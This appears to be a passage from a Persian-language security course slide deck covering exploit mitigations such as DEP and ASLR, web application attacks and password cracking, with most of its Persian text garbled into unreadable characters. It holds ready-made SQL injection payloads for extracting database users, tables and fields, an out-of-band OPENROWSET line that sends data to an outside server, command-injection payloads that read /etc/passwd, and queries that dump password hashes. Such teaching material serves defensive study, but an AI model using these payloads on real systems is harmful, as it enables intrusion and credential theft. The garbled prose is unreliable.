              ‫‪ : Windows‬پفتیثاًی اظ ‪ NX‬تطای اّلیي تاض زض هؼواضی 68‪ x‬اظ ًؽرَ 2‪2003 Server SP1 ّ XP SP‬‬                                                         ‫‪‬‬
                                                             ‫اضائَ ـسٍ تحت ًام ‪( Data Execution Prevention ) DEP‬‬                                         ‫‪‬‬

                                                ‫تغْض پیففطن تٌِا پطّؼَ ُا ّ ؼطّیػ ُای اللی ؼیؽتن ػاهل هحافظت هیفًْس‬                                      ‫‪‬‬
                                                       ‫زض لْضت پفتیثاًی پطزاظًسٍ اظ ‪ DEP ، NX‬تغْض ذْزکاض فؼال هیگطزز‬                                     ‫‪‬‬
‫زض ًؽرَ ُای اّلیَ ‪ ، DEP‬اظ ‪ ASLR‬اؼتفازٍ ًفسٍ ! اهکاى زّض ظزى ‪ ّ DEP‬حتی غیط فؼال کطزى ایي هکاًیعم تْؼظ حوالت -‪return‬‬                                      ‫‪‬‬
                                                                                      ‫‪ to-libc‬تَ ُویي زلیل هیؽط هیفْز .‬
                                              ‫هثالی ػیٌی اظ حولَ تَ ‪ DEP‬حتی تا ّخْز تکاض تؽتي کلیَ توِیسات اهٌیتی ‪ ّ NX‬ؼیؽتن ػاهل!‬                   ‫‪‬‬
                ‫‪http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬                                         ‫‪‬‬
                                      ‫همالَ ای تؽیاض خالة اظ ًحٍْ ز ّض ظزى هکاًیعم ‪http://uninf ormed.org/?v= 2&a= 4 NX+DEP‬‬                          ‫‪‬‬

  ‫‪ ( Software DEP) SafeSEH‬تکٌْلْژی زیگطی هیثاـس کَ تَ ‪ NX‬اضتثاعی ًساـتَ ّ تطای حفاظت ػلیَ حوالت تطای ؼْ اؼتفازٍ اظ‬                                       ‫‪‬‬
                                                                                                 ‫‪ SEH‬پیازٍ ؼاظی ـسٍ اؼت‬
                                                               ‫اؼتفازٍ اظ ایي تکٌْلْژی هٌْط تَ اؼتفازٍ ًطم افعاض اظ آى زض ظهاى تْلیس )کاهپایل( اؼت‬   ‫‪‬‬
       ‫تکوک ‪ Saf eSEH‬ؼیؽتن ػاهل تٌِا اخاظٍ اؼتفازٍ اظ ‪ُ Exception Handler‬ایی ضا تَ ًطم افعاض هیسُس کَ لثآل تؼطیف ّ ‪ register‬ـسٍ اًس .‬                ‫‪‬‬
                                        ‫ّیٌسّظ ‪ Vista‬هثتٌی تط ًؽرَ خسیس ‪ DEP‬هیثاـس کَ اظ تکٌْلْژی ‪ ASLR‬تِطٍ هی تطز .‬                                     ‫‪‬‬
               ‫زض لْضتی کَ پطزاظزٍ اظ ‪ NX‬پفتیثاًی ًکٌس ، ّیٌسّظ پفتیثاًی اظ ایي اهکاى تمْضت ‪ Software-Emulated‬ضا نذارد‬                                   ‫‪‬‬

                                                        ‫‪ : NetBSD‬تِطٍ گیطی اظ ‪ Non Executable Heap/Stack‬اظ ًؽرَ 0.2‬                                          ‫‪‬‬
                       ‫پفتیثاًی اظ ‪amd64, sparc64, sparc (sun4m, sun4d), powerpc (ibm4xx), alpha, sh5, hppa‬‬                                              ‫‪‬‬
                                                                   ‫ػسم پفتیثاًی اظ ‪ Emulated-NX‬تغْض پیففطن‬                                               ‫‪‬‬

                                ‫‪ : OpenBSD‬پفتیثاًی اظ ‪ NX‬تحت تکٌْلْژی اذتمالی تا ًام ‪ ( WAX ) W^X‬اظ ًؽرَ 3.3‬                                                 ‫‪‬‬
                                                                                       ‫پفتیثاًی اظ ‪Alpha, AMD64, HPPA, and SPARC‬‬                         ‫‪‬‬
                                                                                          ‫پفتیثاتی اظ ‪ Emulated-NX‬زض تطذی اظ پطزاظًسٍ ُا‬                 ‫‪‬‬

                                                                      ‫‪ : Solaris‬تِطٍ گیطی اظ ‪ Non Executable Stack‬اظ ًؽرَ 6.2‬                                ‫‪‬‬




                                                                                                                                                                 ‫04‬
‫هماتلَ تا حوالت ؼطضیع تافط‬




                        ‫14‬
                                                                ‫هماتلَ تا حوالت ؼطضیع تافط‬
                                                           ‫اؼتفازٍ اظ ًطم افعاضُا ّ الحالیَ ُای خاًثی‬     ‫‪‬‬
                                                                               ‫‪ ‬تِثْز اهٌیت ؼیؽتن ػاهل‬
‫اضافَ کطزى لاتلیت ُای اهٌیتی هْضز ًیاظ تَ ؼیؽتن ػاهل ، زض لْضت ػسم ّخْز آًِا تمْضت پیففطن‬           ‫‪‬‬
                         ‫… , ‪ASLR , Non Executable Stack/Heap , Security Policies‬‬              ‫‪‬‬
                                                                                  ‫‪GRSecurity‬‬   ‫‪‬‬
                                       ‫‪http://www.grsecurity.net/features.php ‬‬
                                                        ‫‪ ‬اضافَ کطزى ‪ PAX‬تَ کطًل لیٌْکػ‬
                         ‫‪ ‬هماتلَ تا ‪ Stack/Heap Overflow‬تا اؼتفازٍ اظ تکٌیک ُای هرتلف‬
                                                          ‫‪ ‬تِثْز اهٌیت کاهپایلط ؼیؽتن ػاهل‬
                                                           ‫‪ ّ { ... ‬تؽیاضی اهکاًات زیگط! {‬
                                               ‫‪ ‬اؼتفازٍ اظ ًطم افعاضُای خاًثی تطای هماتلَ تا حوالت‬
                                                         ‫ضایح زض ؼیؽتن ػاهل ُای ذاًْازٍ ّیٌسّظ‬      ‫‪‬‬
                                          ‫خثطاى کوثْز ُای اهٌیتی ؼیؽتن ػاهل هاًٌس ‪ASLR ّ NX‬‬         ‫‪‬‬
                       ‫تفریك حوالت ؼطضیع تافط اظ عطیك هاًیتْض کطزى حافظَ ّ خلْگیطی اظ آًِا‬          ‫‪‬‬
                ‫اؼتفازٍ زض کٌاض لاتلیت ُای اهٌیتی ؼیؽتن ػاهل ، تطای پیچیسٍ تط کطزى هکاًیعم حوالت‬    ‫‪‬‬
         ‫اؼتفازٍ زض هْاضزی کَ ًاچاض تَ اؼتفازٍ اظ ؼیؽتن ػاهل ُای ًا اهي ّ یا ًؽرَ ُای لسیوی ُؽتین‬   ‫‪‬‬
                                ‫اؼتفازٍ تؼٌْاى ‪( Host Intrusion Prevention System) HIPS‬‬             ‫‪‬‬
                                                  ‫اضائَ غالثآ تمْضت تؽتَ ُای ًطم افعاضی تداضی‬       ‫‪‬‬
                  ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬              ‫‪‬‬
                                          ‫‪http://www.wehnus.com/ : WhehnTrust‬‬                  ‫‪‬‬
                                         ‫‪http://www.ngsec.com : StackDefender‬‬                  ‫‪‬‬
                                                            ‫... {!‪{ Google for more‬‬            ‫‪‬‬




                                                                                                          ‫24‬
                                       ‫حولَ تَ ًطم افعاضُای تحت ّب‬

   ‫ضّظ تَ ضّظ تط هحثْتیت ّ کاضتطز ًطم افعاضُای تحت ّب اضافَ هیگطزز‬      ‫‪‬‬
 ‫ًمغَ ـطّع تؽیاضی اظ حوالت ػلیَ ؼیؽتن ُا ّ ـثکَ ُا ًطم افعاضُای تحت‬     ‫‪‬‬
                                                           ‫ّب هیثاـس‬
‫زض تؽیاضی اظ هْاضز ، ًطم افعاضُای تحت ّب تٌِا ًمغَ زؼتطؼی یک ًفْشگط‬     ‫‪‬‬
                                  ‫تَ ؼیؽتن ُای ُسف لطاض گطفتَ هیثاـٌس‬
      ‫زض ازاهَ تطذی اظ حوالت ـایغ ػلیَ ًطم افعاضُای تحت ّب ّ ُوچٌیي‬     ‫‪‬‬
 ‫ضاُکاضُایی تطای پیفگیطی ّ هماتلَ تا ایي حوالت هْضز تطضؼی لطاض ذْاُس‬
                                                                ‫گطفت‬




                                                                        ‫34‬
                       ‫حولَ تَ ًطم افعاضُای تحت ّب‬

‫ آـٌایی تا اًْاع حوالت هثتٌی تط ًطم افعاضُای تحت ّب‬
                      Cross-Site Scripting     

                             SQL Injection     

                         Command Injection     

                    Dynamic code execution     

                   Cookie/Session Hijacking    

                  Parameter/form Tampering     

                           Buffer Overflows    

                         Directory Traversal   

                          Forceful Browsing    

                      Information Leakages     

                        Harvesting Attacks     




                                                       44
                        ‫حولَ تَ ًطم افعاضُای تحت ّب‬

‫ آـٌایی تا آًاتْهی حولَ تَ ؼیؽتن ُای تحت ّب‬
               ‫پْیؿ تطای ـٌاؼایی ًطم افعاض تحت ّب‬       
Web Spidering and User directed spidering       
              Discovering Hidden contents       
Checking search engines and archive sites       
          Brute-forcing directories and files   
        Identify entry points for user inputs   

                  ‫خوغ آّضی اعالػات ّ ـٌاؼایی ُسف‬        
                              ‫ـٌاؼایی ّب ؼطّض‬   
                   Application Server ‫ـٌاؼایی‬   

                  ‫تؽت ّ تطضؼی ّخْز آؼیة پصیطی ُا‬        

              ‫عطاحی ضّؾ حولَ ّ ًحٍْ پیازٍ ؼاظی آى‬       

                                      َ‫پیازٍ ؼاظی حول‬   




                                                            45
                          ‫حولَ تَ ًطم افعاضُای تحت ّب‬

               ‫‪ ‬تطضؼی حوالت ‪SQL Injection‬‬
      ‫آـٌایی تا هکاًیعم حوالت ‪SQL Injection‬‬           ‫‪‬‬

       ‫ًحٍْ خؽتدْ ّ ـٌاؼایی ‪SQL Injection‬‬             ‫‪‬‬
                       ‫‪Blind SQL Injection ‬‬
                      ‫‪Normal SQL Injection ‬‬
               ‫‪ ‬ػثْض اظ فطم ُای اػتثاض ؼٌدی‬
   ‫‪ ‬تعضیك زؼتْضات ) ‪(SELECT,UNION‬‬
‫‪SELECT,INSERT,UPDATE,DELETE‬‬
 ‫‪ ‬اؼترطاج اعالػات هفیس اّلیَ اظ تاًک اعالػاتی‬
                  ‫هفرك کطزى ًؽرَ تاًک اعالػاتی‬    ‫‪‬‬
‫هفرك کطزى ًام کاضتطی هْضز اؼتفازٍ تاًک اعالػاتی‬   ‫‪‬‬




                                                          ‫64‬
                                                            ‫حولَ تَ ًطم افعاضُای تحت ّب‬
                                    ‫اؼترطاج اعالػات هْضز ًظط اظ تاًک اعالػاتی تط اؼاغ پیغام ُای ذغا‬             
                                                                         : Integer ‫تطضؼی پاضاهتط اظ ًْع‬    
                                                         http://[site]/page.asp?id=1 having 1=1–    

Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    function and there is no GROUP BY clause.
                                                                          : String ‫تطضؼی پاضاهتط اظ ًْع‬    
                                                        http://[site]/page.asp?id=x' having 1=1–    
Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    function and there is no GROUP BY clause.
                                                                         ‫اؼترطاج ًام کاضتط تاًک اعالػاتی‬   
                                           http://[site]/page.asp?id=1 or 1=convert(int,(USER))–    
             Syntax error converting the nvarchar value '[DB USER]' to a column of data type int.   

                                                                               ‫اؼترطاج ًام تاًک اعالػاتی‬   
                                       http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))–     
             Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.   

                                                                            ‫اؼترطاج ًؽرَ تاًک اعالػاتی‬     
                                   http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))–       

         Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int.    

                                                                                       ‫اؼترطاج ًام ؼطّض‬    
                            http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))–           
      Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int.      




                                                                                                               47
                                                                     ‫حولَ تَ ًطم افعاضُای تحت ّب‬
                                               ) 2( ‫اضتخراج اطالعات مٌرد نظر از بانک اطالعاتی بر اضاش پیغام ىای خطا‬               
   ‫اؼترطاج ًام اّلیي‬Table
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 name f rom sysobjects where xtype=char(85 –(((
         Syntax error converting the nvarchar value]' TABLE NAME 1 ' [ to a column of data type int.
   ‫اؼترطاج ًام زّهیي‬Table
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 name f rom sysobjects where xtype=char(85) and ,name'< TABLE-
          NAME-1 –(('
         Syntax error converting the nvarchar value]' TABLE NAME 2 ' [ to a column of data type int.
   ‫اؼترطاج ًام ؼْهیي‬Table
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 name f rom sysobjects where xtype=char(85) and ,name'< TABLE-
          NAME-2 --((' Syntax error converting the nvarchar value]' TABLE NAME 3 ' [ to a column of data type int.
   ‫اؼترطاج ًام اّلیي‬Column ‫ زض‬Table
         http://[site]/page.asp?id 1= or 1=convert(int), select top 1 column_name f rom DBNAME.inf ormation_schema.columns where
          table_name'= TAB LE-NAME-1 –(( '
         Syntax error converting the nvarchar value]' COLUMN NAME 1 ' [ to a column of data type int.
   ‫اؼترطاج ًام زّهیي‬Column ‫ زض‬Table
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 column_name f rom DBNAME.inf ormation_schema.columns where
          table_name'= TABLE-NAME-1 ' and column_name'< COLUMN-NAME-1 –(( '
         Syntax error converting the nvarchar value]' COLUMN NAME 2 '[ to a column of data type int.
   ‫اؼترطاج اّلیي‬Field ‫ اظ اّلیي‬Row
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 COLUMN-NAME -1 f rom TABLE-NAME-1 –((
         Syntax error converting the nvarchar value]' FIELD 1 VALUE ' [ to a column of data type int.
   ‫اؼترطاج زّهیي‬Field ‫ اظ اّلیي‬Row
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 COLUMN-NAME -2 f rom TABLE-NAME-1 –((
         Syntax error converting the nvarchar value]' FIELD 2 VALUE ' [ to a column of data type int.
   ‫اؼترطاج اّلیي‬Field ‫ اظ زّهیي‬Row
         http://[site]/page.asp?id 1= or 1=convert(int,(select top 1 COLUMN-NAME -1 f rom TABLE-NAME-1 where COLUMN-NAME -
          1 NOT in' ) FIELD-1-VALUE (' order by COLUMN-NAME -1 desc –((
         Syntax error converting the nvarchar value]' FIELD 1 VALUE OF 2ND ROW ' [ to a column of data type int.



                                                                                                                                48
                                                        ‫حولَ تَ ًطم افعاضُای تحت ّب‬
                                                Union ‫اؼترطاج اعالػات اظ تاًک اعالػاتی تا اؼتفازٍ اظ‬    
   ‫هفرك کطزى تؼساز پاضاهتطُا‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–
         All queries in an SQL statement containing a UNION operator must have an equal number of
          expressions in their target lists
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–
         NO Error
   ‫اؼترطاج ًام کاضتط تاًک اعالػاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—
   ‫اؼترطاج ًام تاًک اعالػاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—
   ‫اؼترطاج ًؽرَ تاًک اعالػاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—
   ‫اؼترطاج ًام‬Table‫ُای تاًک اعالػاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—
   ‫اؼترطاج ًام‬Column ‫ ُای‬Table‫ُا‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from
          DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—
   ‫اؼترطاج اّلیي‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—
   ‫اؼترطاج زّهیي‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--




                                                                                                       49
                                                      ‫حولَ تَ ًطم افعاضُای تحت ّب‬
                      Blind SQL Injection ‫اؼترطاج اعالػات هْضز ًظط زض حوالت‬                      
                                   (http://www.evilsql.com/page1.html)
          ( Out of band channles) ‫آـٌایی تا ضّؾ ُای غیط هؼوْل اؼترطاج اعالػات‬                    
                                                               MS-SQL Openrowset             
   insert into openrowset(‗SQLOLEDB‘,‗DRIVER={SQL
    Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234‘,‗select * from
    foo‘) values (@@version)
                                                                         DNS Resolve         
                                                                          HTTP GET           
    http://www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip   


                                   SQL Injection ‫اخطای زؼتْضات ؼیؽتن ػاهل اظ عطیك‬                
                                      ‫ اؼترطاج اعالػات‬Automated ‫تطضؼی اتعاضُای‬                   




                                                                                                 50
                                                                ‫حولَ تَ ًطم افعاضُای تحت ّب‬

                             OS Command Injection ‫ تطضؼی حوالت‬
use CGI qw(:standard escapeHTML);
print header, start_html(―‖);                                        Perl Applications 
print ―<pre>‖;
my $command = ―du -h --exclude php* /var/www/html‖;
$command= $command.param(―dir‖);
$command=`$command`;
print ―$command\n‖;
print end_html;

http://web-app/cgi-
bin/vuln.cgi?dir=/public|%20cat%/etc/passwd

<%                                                                   ASP Applications 
Set oScript = Server.CreateObject(―WSCRIPT.SHELL‖)
Set oFileSys = Server.CreateObject(―Scripting.FileSystemObject‖)
szCMD = ―type c:\inetpub\wwwroot\logs\― & Request.Form(―FileName‖)
szTempFile = ―C:\― & oFileSys.GetTempName()
Call oScript.Run (―cmd.exe /c ― & szCMD & ― > ― & szTempFile,
0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>

http://web-app/view.asp [Form Data  sample.log && dir c:\
                                                                                           51
                                   ‫حولَ تَ ًطم افعاضُای تحت ّب‬
                               (2) Command Injection ‫ تطضؼی حوالت‬
                                                  ‫ ضّؾ ُای ـٌاؼایی‬
َ‫تعضیك کاضاکتطُای ذاق زض پاضاهتطُا ، لثل اظ زؼتْضات ّ هفاُسٍ هؽتمین ًتید‬   
                                               ; | && ‫ کاضاکتط ُای‬
                                 ‫تعضیك ّ تفریك تط اؼاغ تآذیطُای ظهاًی‬      
                                       | ping –i 30 127.0.0.1 | 
                                     | ping –n 30 127.0.0.1 | 
                                    & ping –i 30 127.0.0.1 & 
                                  & ping –n 30 127.0.0.1 & 
                                              ; ping 127.0.0.1 ; 
                            %0a ping –i 30 127.0.0.1 %0a 
                                             ` ping 127.0.0.1 ` 
            ‫تعضیك ّ تفریك تط اؼاغ هفاُسٍ ذطّخی زؼتْض اظ ؼایط ضّؾ ُا‬        

                                       Code Injection ‫ تطضؼی حوالت‬
                                 Dynamic Code Execution in PHP 
                                 Dynamic Code Execution in ASP                 
                                                 File Inclusion                
                               PHP Remote File Inclusion (RFI)             
                                      Local File Inclusin (LFI)            




                                                                                   52
                                                      ‫حولَ تَ ًطم افعاضُای تحت ّب‬

                                          ‫تطضؼی حوالت ‪Path Traversal‬‬
                                  ‫)433 ‪( WAHHB Page‬‬                                     ‫‪‬‬
          ‫)573 ‪( WAHHB Page‬‬   ‫تطضؼی حوالت )‪Cross Site Scripting (XSS‬‬                    ‫‪‬‬
                                    ‫تطضؼی اًْاع حوالت ‪ ّ XSS‬تفاّت ُای آًِا‬          ‫‪‬‬
                                                                ‫‪Reflected XSS‬‬   ‫‪‬‬
                                                                  ‫‪Stored XSS‬‬    ‫‪‬‬

                                                          ‫ـٌاؼایی ضؼف ُای ‪XSS‬‬
                                            ‫)104 ‪( WAHHB Page‬‬                       ‫‪‬‬
                                                      ‫تطضؼی کاضتطزُای حوالت ‪XSS‬‬     ‫‪‬‬
                                                   ‫ؼطلت ‪ Session‬کاضتط‬           ‫‪‬‬
              ‫‪ Bypass‬کطزى تطذی هحسّزیت ُای ‪Web Application‬‬                      ‫‪‬‬
‫اضؼال زضذْاؼت تدای کاضتط تَ ‪ web application‬تطای اًدام ػولی ذاق‬                 ‫‪‬‬
                      ‫تطضؼی ؼایط ضّؾ ُای ؼْ اؼتفازٍ )693 ‪( WAHHB Page‬‬           ‫‪‬‬

          ‫تطضؼی حوالت ‪Parameter Tampering/Manipulation‬‬                                  ‫‪‬‬
                          ‫تطضؼی حوالت ‪Forceful Browsing‬‬                                 ‫‪‬‬
              ‫هؼطفی اتعاضُای پْیؿ ّ تطضؼی ًطم افعاضُای تحت ّب‬                           ‫‪‬‬



                                                                                            ‫35‬
                                                         ‫حوالت ػلیَ کلوات ػثْض‬

                                                        ‫‪ ‬تمؽین تٌسی کلی حوالت‬
                                                          ‫‪Online Attacks‬‬        ‫‪‬‬
‫توطکع تط ضّی کفف ًام کاضتطی ّ کلوَ ػثْض اظ عطیك السام تَ تؼاهل تا ؼطّیػ‬     ‫‪‬‬
   ‫ًیاظهٌس السام تَ تطلطاضی اضتثاط تا ُسف تغْض هؽتمین تطای حسغ کلوات ػثْض‬   ‫‪‬‬
              ‫ًیاظهٌس زض زؼتطغ تْزى ؼطّیػ ُای ذاق توٌظْض تؼاهل تا آًِا‬      ‫‪‬‬
  ‫لاتلیت ـٌاؼایی آؼاى تسلیل حدن تطافیک ّ ضّیساز ُای تْلیس ـسٍ زض عْل حولَ‬   ‫‪‬‬
     ‫ؼطػت تؽیاض پاییي زض همایؽَ تا حوالت ‪ّ ّ ، Offline‬اتؽتَ تَ هٌاتغ ـثکَ‬   ‫‪‬‬
                               ‫ػسم ًیاظ تَ لسضت پطزاظؾ تاال زض ؼوت ًفْشگط‬   ‫‪‬‬
                                                          ‫‪Offline Attacks‬‬       ‫‪‬‬
      ‫توطکع تط ضّی ـکؽتي کلوات ػثْض ضهع/کس ـسٍ کَ اظ ُسف تسؼت آهسٍ‬          ‫‪‬‬
                          ‫ػسم ًیاظ تَ تطلطاضی اضتثاط تا ُسف زض عْل حولَ‬     ‫‪‬‬
  ‫ًیاظهٌس تؼاهل تا ؼطّیػ / ؼیؽتن تٌِا توٌظْض اؼترطاج کلوات ػثْض ضهع ـسٍ‬     ‫‪‬‬
 ‫اهکاى ـٌاؼایی تٌِا زض ظهاى اؼترطاج کلوات ػثْض ضهع ـسٍ )زض ـطایظ ذاق(‬       ‫‪‬‬
             ‫ؼطػت تؽیاض تاال ) ّاتؽتَ تَ ضّؾ ضهعًگاضی تکاض تطزٍ ـسٍ (‬       ‫‪‬‬
                                 ‫ًیاظتَ لسضت پطزاظؾ تاال زض ؼوت ًفْشگط‬      ‫‪‬‬




                                                                                    ‫45‬
                                                                       ‫حوالت ػلیَ کلوات ػثْض‬

                                                                              ‫‪Online Attacks‬‬         ‫‪‬‬
                                  ‫لاتل پیازٍ ؼاظی اظ عطیك ؼطّیػ ُا ّپطّتکل ُای هرتلف‬             ‫‪‬‬
                                              ‫ؼطّیػ ُا ّ پطّتکل ُای زؼتطؼی اظ ضاٍ زّض‬
                   ‫)…,‪( Telnet,SSH,Rlogin,TS,VNC‬‬                                             ‫‪‬‬
                                                         ‫ؼطّیػ ُای پؽتی )…,‪( POP,SMTP,IMAP‬‬   ‫‪‬‬
                                       ‫ؼطّیػ ُای تاًک اعالػاتی )…,‪( MS-SQL,MySQL,Oracle‬‬      ‫‪‬‬
                                ‫ؼطّیػ ُای ّاتؽتَ تَ ّب )…,‪( HTTP,Login Forms,Proxies,Socks‬‬   ‫‪‬‬
                                          ‫پطّتکل ُای هسیطیت اظ ضاٍ زّض )…,‪( SNMP,RPC,WMI‬‬     ‫‪‬‬
‫ّ ُط ؼطّیػ زیگطی کَ تطای زؼتطؼی ًیاظ تَ اضؼال ًام کاضتطی ّ کلوَ ػثْض زاـتَ تاـس !‬            ‫‪‬‬

                                   ‫تطضؼی ضّؾ ُا ّ اتعاضُای هرتلف پیازٍ ؼاظی حولَ‬                 ‫‪‬‬
                                   ‫تطضؼی ضّؾ ُای هتساّل هماتلَ تا ایي زؼتَ اظ حوالت‬              ‫‪‬‬
                                ‫ًکاتی زض ذمْق ًام ُای کاضتطی ّ کلوات ػثْض پیففطن‬                 ‫‪‬‬
           ‫‪Networking Devices,Database Systems,Product default‬‬                               ‫‪‬‬
    ‫‪accounts,Product Master/Hidden/Hardcoded passwords,Service‬‬
                                                     ‫‪accounts‬‬
                    ‫ًکاتی زض ذمْق اًتراب فایل ُای زیکفٌطی ّ هحسّزٍ کلوات ػثْض‬                    ‫‪‬‬




                                                                                                         ‫55‬
                                                  ‫حوالت ػلیَ کلوات ػثْض‬

                                                 ‫‪Offline Attacks ‬‬
        ‫آـٌایی تا هکاًیعم ُای ‪ Encoding ّ Hash‬کلوات ػثْض‬               ‫‪‬‬

‫آـٌایی تا تطذی ؼطّیػ ُا ّ هکاًیعم ُای تکاض تطزٍ ـسٍ تْؼظ آًِا‬          ‫‪‬‬

             ‫تطضؼی ضّؾ ُای تسؼت آّضزى کلوات ػثْض ضهع ـسٍ‬               ‫‪‬‬
           ‫اؼترطاج اظ فایل ُای ذاق شذیطٍ کلوات ػثْض ؼیؽتن ػاهل‬     ‫‪‬‬

                   ‫‪C:\windows\system32\config\SAM ‬‬
                           ‫‪/etc/passwd & /etc/shadow ‬‬
                 ‫اؼترطاج اظ فایل ُای حاّی تٌظیوات ؼیؽتن یا ؼطّیػ‬   ‫‪‬‬
                                         ‫اؼترطاج اظ تطافیک ـثکَ‬    ‫‪‬‬

                                   ‫اؼترطاج اظ تاًک ُای اعالػاتی‬    ‫‪‬‬




                                                                           ‫65‬
                                                              ‫حوالت ػلیَ کلوات ػثْض‬
                                                                   Offline Attacks    
                      ٍ‫تطضؼی ضّؾ ُای تسؼت آّضزى کلوات ػثْض ضهع ـس‬                 
                                               ‫اؼترطاج اظ تاًک ُای اعالػاتی‬   
                                                             MySQL
                                select user, password f rom user       
  select name, password f rom master..sysxlogins        MS-SQL 2000    
select name,password_hash FROM sys.sql_logins           MS-SQL 2005    
   select username, password f rom DBA_USERS                  Oracle   
         select name,password f rom SYS.USER$                 Oracle   
      select usename, passwd FROM pg_shadow              PortageSQL    
                           ٍ‫تطضؼی تکٌیک ُای ـکؽتي کلوات ػثْض ضهع ـس‬               
                         Dictonary , Bruteforce , Hybrid                      
          (Pre-Computed Rainbow Tables) Cryptanalysis                         
                                    Cryptography flaws                        
                                           ‫تطضؼی ضّؾ ُای پیازٍ ؼاظی حوالت‬         
                                            Single System                     
                                     Distributed Systems                      
                Free & Commercial Cryptanalysis providers                     




                                                                                          57

				
DOCUMENT INFO